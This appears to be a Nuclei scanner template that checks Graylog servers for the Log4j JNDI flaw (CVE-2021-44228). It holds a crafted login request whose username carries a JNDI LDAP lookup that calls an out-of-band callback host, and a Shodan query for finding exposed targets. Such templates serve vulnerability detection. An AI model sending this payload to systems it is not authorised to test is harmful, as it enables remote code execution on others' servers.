75 lines
2.7 KiB
YAML
75 lines
2.7 KiB
YAML
id: graylog-log4j
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info:
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name: Graylog (Log4j) - Remote Code Execution
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author: DhiyaneshDK
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severity: critical
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description: Graylog is susceptible to remote code execution via the Apache Log4j 2 library prior to 2.15.0 by recording its own log information, specifically with specially crafted values sent as user input. Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI-related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
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reference:
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- https://www.graylog.org/post/graylog-update-for-log4j
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- https://logging.apache.org/log4j/2.x/security.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cve-id: CVE-2021-44228
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cwe-id: CWE-77
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metadata:
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verified: true
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max-request: 1
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shodan-query: title:"Graylog Web Interface"
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tags: cve,cve2021,rce,jndi,log4j,graylog,kev,oast
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variables:
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rand1: '{{rand_int(111, 999)}}'
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rand2: '{{rand_int(111, 999)}}'
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http:
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- raw:
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- |
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POST /api/system/sessions HTTP/1.1
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Host: {{Hostname}}
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Accept: application/json
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X-Requested-With: XMLHttpRequest
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X-Requested-By: XMLHttpRequest
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Content-Type: application/json
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Origin: {{BaseURL}}
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Referer: {{BaseURL}}
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{"username":"${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}}","password":"admin","host":"{{Hostname}}"}
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matchers-condition: and
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matchers:
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- type: word
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part: header
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words:
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- 'X-Graylog-Node-Id:'
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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extractors:
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- type: kval
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kval:
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- interactsh_ip
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- type: regex
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part: interactsh_request
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group: 2
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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- type: regex
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part: interactsh_request
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group: 1
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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# digest: 4a0a0047304502201473caf07463a006454c0b92a237e8d2f61ee543a2e07d96d7f052a3be9a8172022100cef3fe3ccff8492335fb35afdc56e2bf30dc54776d16291a4aeea7e232e6de92:922c64590222798bb761d5b6d8e72950
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